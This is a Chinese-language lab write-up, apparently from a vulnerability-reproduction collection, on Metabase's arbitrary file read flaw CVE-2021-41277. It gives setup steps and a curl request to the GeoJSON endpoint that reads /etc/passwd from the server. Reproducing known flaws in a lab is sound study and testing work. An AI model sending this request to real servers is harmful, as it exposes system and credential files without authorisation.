Aaron
63285f61aa
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33 lines
972 B
Markdown
33 lines
972 B
Markdown
# Metabase任意文件读取漏洞（CVE-2021-41277）
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Metabase是一个开源的数据分析平台。在其0.40.0到0.40.4版本中，GeoJSON URL验证功能存在远程文件读取漏洞，未授权的攻击者可以利用这个漏洞读取服务器上的任意文件，包括环境变量等。
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参考链接：
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- <https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr>
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- <https://github.com/tahtaciburak/CVE-2021-41277>
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## 环境搭建
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执行如下命令启动一个Metabase 0.40.4版本服务器：
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```
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docker compose up -d
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```
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服务启动后，访问`http://your-ip:3000`可以查看到Metabase的安装引导页面，我们填写初始账号密码，并且跳过后续的数据库填写的步骤即可完成安装：
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## 漏洞复现
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只需要使用CURL即可简单地复现这个漏洞：
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```
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curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd
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```
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可见，`/etc/passwd`已经被成功读取：
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